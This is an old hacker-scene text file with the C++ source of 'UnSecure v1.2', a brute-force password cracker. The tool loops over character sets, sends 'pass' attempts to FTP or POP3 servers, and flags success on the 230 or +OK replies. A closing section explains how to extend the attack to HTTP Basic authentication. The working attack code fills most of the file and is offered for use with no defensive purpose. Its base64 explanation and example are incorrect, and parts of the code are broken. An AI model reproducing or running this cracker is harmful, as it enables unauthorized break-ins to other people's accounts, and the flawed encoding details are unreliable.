UnSecure v1.2 "the part that does the fun work" code.
by Utah, Guns, and Paine.
--------------------------|CUT HERE|-----------------------------------
//This is the accual C++ code for the brute force and ports algorithm.
//It was written in VC++ 5
//
//At the end I explain how to build in an attack for protected web pages.
//
//There is odd code in there, for CString converstions, but it's 
//basically a direct rip of the brute force, and port code :
//
//We use RAW sockets... it's alot faster than going through win API
//
//Note : this function was threaded so there is no accual GUI interaction
//variables starting with a g_ are global, and therefore accessable by
//threads and the GUI
//
//Have fun!


void brute_and_port_stuff_decently_optimized()
{
//Was brute force selected
  if(brute_flag==TRUE) {
//The next if statments look for options being checked in the GUI
//We have an array, alphabet, which designates what characters to use.
//Using the ASCII charset, we loop through and add the chars.
//Alphamax points to the end of the charset in the array.
    if(brute_special==TRUE) {
      for(x=33;x<127;) {
        alphabet[alphamax]=x;
        x++;
        alphamax++;
      }
    }
    else {
      if(brute_uaz==TRUE) {
        for(x=65;x<91;) {
          alphabet[alphamax]=x;
          x++;
          alphamax++;
        }
      }
      if(brute_laz==TRUE) {
        for(x=97;x<123;) {
          alphabet[alphamax]=x;
          x++;
          alphamax++;
        }
      }
      if(brute_09==TRUE) {
        for(x=48;x<58;) {
          alphabet[alphamax]=x;
          x++;
          alphamax++;
        }
      }
    }
    if(brute_custom==TRUE) {
      alphamax=0;
      g_custom2=g_custom+"<<";

//We have to do odd things when converting using the CString type.

      for(count2=0;g_custom2[count2]!='<';) {
        alphabet[count2]=g_custom2[count2];
        count2++;
      }
      alphamax=count2;
    }
    g_pause=0;
    sc2.Create();
    g_status="Attempting to connect...";
    cnt=sc2.Connect(g_ip, g_port);
    if(cnt==0) {
      g_status="No connection could be established";
      goto stopit;
    }
    g_status="A connection was established";
    sc2.Receive(&rcv, sizeof(rcv), 0);
    int y;
    for(y=0;y<20;) {
      ch[y]=-1;
      y++;
    }
    ch[0]=-1;
    for(x=1;x<g_brutenum;x++) {
      used[x]=1;
      ch[x]++;
    }
    if(g_open==1)
    for(x=0;x<strlen(g_password);) {
      used[x]=1;
      for(y=0;y<100;) {
        if(alphabet[y]==g_password[x])
          ch[x]=y;
        y++;
      }
      x++;
    }
    while(ch[19]<alphamax) {
      ch[0]++;
      for(x=0;x<20;) {
        if(ch[x]==alphamax) {
          used[x+1]=1;
          ch[x]=-1;
          ch[x+1]++;
        }
        x++;
      }
      x=x;
      for(x=0;x<20;) {
        if(used[x]==1) {
          if(ch[x]==-1)
            ch[x]=0;
          xpass[x]=alphabet[ch[x]];
          snd2[x]=alphabet[ch[x]];
        }
        x++;
      }
      x=5;
      for(z=-1;z<20;z++) {
        if(used[z]==1)
          x++;
      }
      g_putpass=xpass;
      g_putpass="pass "+g_putpass;
      for(z=x-1;z<sizeof(xpass);z++)
        xpass[z]=' ';
      for(count2=0;count2<x;) {
        snd2[count2]=g_putpass[count2];
        if(count2>4)
          if(count2-5<x-4)
            xpass[count2-5]=g_putpass[count2];
        count2++;
      }
      snd2[x]=13;
      snd2[x+1]=10;
      z=x-5;
      for(x=z;x<sizeof(xpass);) {
        xpass[x]=' ';
    x++;
  }
  g_password="";
  g_password=xpass;
  g_status="Testing account";
  g_stay=sc2.Send(&snd, count+2, 0);
  g_status="Waiting for response";
  g_stay=sc2.Receive(&rcv, sizeof(rcv), 0);
  g_status="Testing account";
  g_stay=sc2.Send(&snd2, count2+2, 0);
  g_status="Attacking";
  g_stay=sc2.Receive(&rcv2, sizeof(rcv), 0);
  g_status="Combination transmission complete";
  g_wordsdone++;
  g_cmp[0]=rcv2[0];
  g_cmp[1]=rcv2[1];
  g_cmp[2]=rcv2[2];
  if(strstr(g_cmp, "230")) {
    g_finalpass=g_ip+" is UnSecure."+c+l+"The password is "+xpass;
    AfxMessageBox(g_finalpass);
    g_good=1;
    goto stopit;
  }
  if(strstr(g_cmp, "+OK")) {
    g_finalpass=g_ip+" is UnSecure."+c+l+"The password is "+xpass;
    AfxMessageBox(g_finalpass);
    g_good=1;
    goto stopit;
  }
  if(g_stay==SOCKET_ERROR) {
    g_status="You have been disconnected";
        if(g_rec==TRUE)
        {
          g_status="Attempting to RE - connect...";
          sc2.Close();
          sc.Close();
          cnt=0;
          sc2.Create();
          while(cnt==0) {
            cnt=sc2.Connect(g_ip, g_port);
          }
        }
        else
          goto stopit;
  }
}
g_status="Brute force attack finished";
sc2.Close();
}
--------------------------|CUT HERE|-----------------------------------

Now I'll explain how you could add this to secure/unsecure webservers.
(HTTP authentication)

Connect to port 80 of the server.
Issue this command :

GET / HTTP/1.0

followed by a crlf. Where the first / is the protected page.
Now issue this command :

Authorization: Basic 8f4398j:494w094

Where the 8f4398j:494w094 is a username/password pair base 64 encoded.

To encode to base 64 :
get three bytes (total of 24 bits)
split the 24 bits in to four 6 bit numbers.
Repeat process.

Ex:
00101101 | 10010110 | 01101001
becomes
001011 | 011001 | 011001 | 101001

Test it be telneting to port 80 on a server with a protected page.

There you have it.



Like I said... Have fun.

--Utah